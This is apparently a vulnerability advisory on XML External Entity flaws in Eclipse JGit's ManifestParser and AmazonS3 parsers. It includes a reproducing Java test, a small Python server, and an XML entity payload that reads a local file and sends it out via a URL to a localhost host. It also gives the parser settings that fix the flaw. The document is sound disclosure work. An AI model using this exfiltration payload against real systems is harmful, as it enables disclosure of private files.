XXE vulnerability in Eclipse JGit
Summary
jgit is vulnerable to XML External Entity (XXE) attacks when parsing XML files. This vulnerability can lead to information disclosure, denial of service, and other security issues.
The vulnerability is present in the ManifestParser
and AmazonS3
classes, which use a SAXParser
to parse XML files without properly configuring it to disable external entity processing.
Vulnerability Details 1
The vulnerability occurs in the ManifestParser
class [0], specifically in the read
method. The code uses a SAXParser
to parse XML files without properly configuring it to disable external entity processing. This allows an attacker to craft a malicious XML file that can exploit the XXE vulnerability.
The attack can be reproduced by adding this testcase to the ManifestParserTest
class:
@Test
public void testXXE() throws Exception {
String baseUrl = "https://git.google.com/";
StringBuilder xmlContent = new StringBuilder();
xmlContent.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n")
.append("<!DOCTYPE foobar SYSTEM \"file:///does_not_exist/second.xml\">")
.append("<manifest>")
.append("<remote name=\"remote1\" fetch=\".\" />")
.append("<default revision=\"master\" remote=\"remote1\" />")
.append("<project path=\"foo\" name=\"").append("foo")
.append("\" groups=\"a,test\" />")
.append("<project path=\"bar\" name=\"").append("bar")
.append("\" groups=\"notdefault\" />")
.append("<project path=\"foo/a\" name=\"").append("a")
.append("\" groups=\"a\" />")
.append("<project path=\"b\" name=\"").append("b")
.append("\" groups=\"b\" />").append("</manifest>");
try {
new ManifestParser(null, null, "master", baseUrl, null, null)
.read(new ByteArrayInputStream(
xmlContent.toString().getBytes(UTF_8)));
fail("ManifestParser did not throw exception for XXE");
} catch(FileNotFoundException e) {
assertTrue(e.getMessage().contains("second.xml"));
e.printStackTrace();
}
catch (IOException e) {
fail("Exception should be FileNotFoundException");
}
}
When executing the test, the ManifestParser
will attempt to read the external entity file:///does_not_exist/second.xml
.
Instead of reading a local file, it is also possible to read a remote file by using a URL like http://example.com/first.xml
.
File content can also be read from the local filesystem and disclosed to an attacker.
For this, run python serve.py
and changed file:///does_not_exist/second.xml
to http://localhost:8000/second.xml
in the test case.
The server should show a request for second.xml
and the content of /tmp/lol
(foobar
) should be shown like this:
127.0.0.1 - - [05/May/2025 22:28:42] "GET /second.xml HTTP/1.1" 200 -
127.0.0.1 - - [05/May/2025 22:28:42] "GET /?foobar HTTP/1.1" 200 -
server.py
:
import http.server
import socketserver
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def guess_type(self, path):
# Override the MIME type for .xml files
if path.endswith(".xml"):
return "text/xml"
return super().guess_type(path)
# Define the port
PORT = 8000
# Create the server
with socketserver.TCPServer(("", PORT), CustomHTTPRequestHandler) as httpd:
print(f"Serving files on port {PORT}")
httpd.serve_forever()
second.xml
:
<!ENTITY % file SYSTEM "file:///tmp/lol">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://localhost:8000/?%file;'>">
%eval;
%exfil;
Limitations
As far as I am aware, it is NOT possible to exfiltrate files from the local filesystem that contain linebreaks.
This is because Java rejects linebreaks in URLs.
(E.g. new URL("http://localhost/foo\nbar").openConnection()
fails with java.net.MalformedURLException: Illegal character in URL
)
However, I would cautiously assume that there is still a way of exfiltrating files with linebreaks by using a different encoding or some other trick.
Fix
I think it should suffice to set the following features on the XMLReader
instance in the ManifestParser
class:
xr.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
xr.setFeature("http://xml.org/sax/features/external-general-entities", false);
Vulnerability Details 2
The vulnerability occurs in the AmazonS3
class [1], specifically in the list
method. The code uses a SAXParser
to parse XML files without properly configuring it to disable external entity processing. This allows an attacker to craft a malicious XML file that can exploit the XXE vulnerability.
I didn't find an easy way to reproduce the attack, but I see no reason why it shouldn't work like the first vulnerability. The list
method is used to list objects in an S3 bucket, and if an attacker can control the XML response from S3, they could potentially exploit the XXE vulnerability.
Credit
Simon Gerst (intrigus-lgtm)
https://github.com/intrigus-lgtm.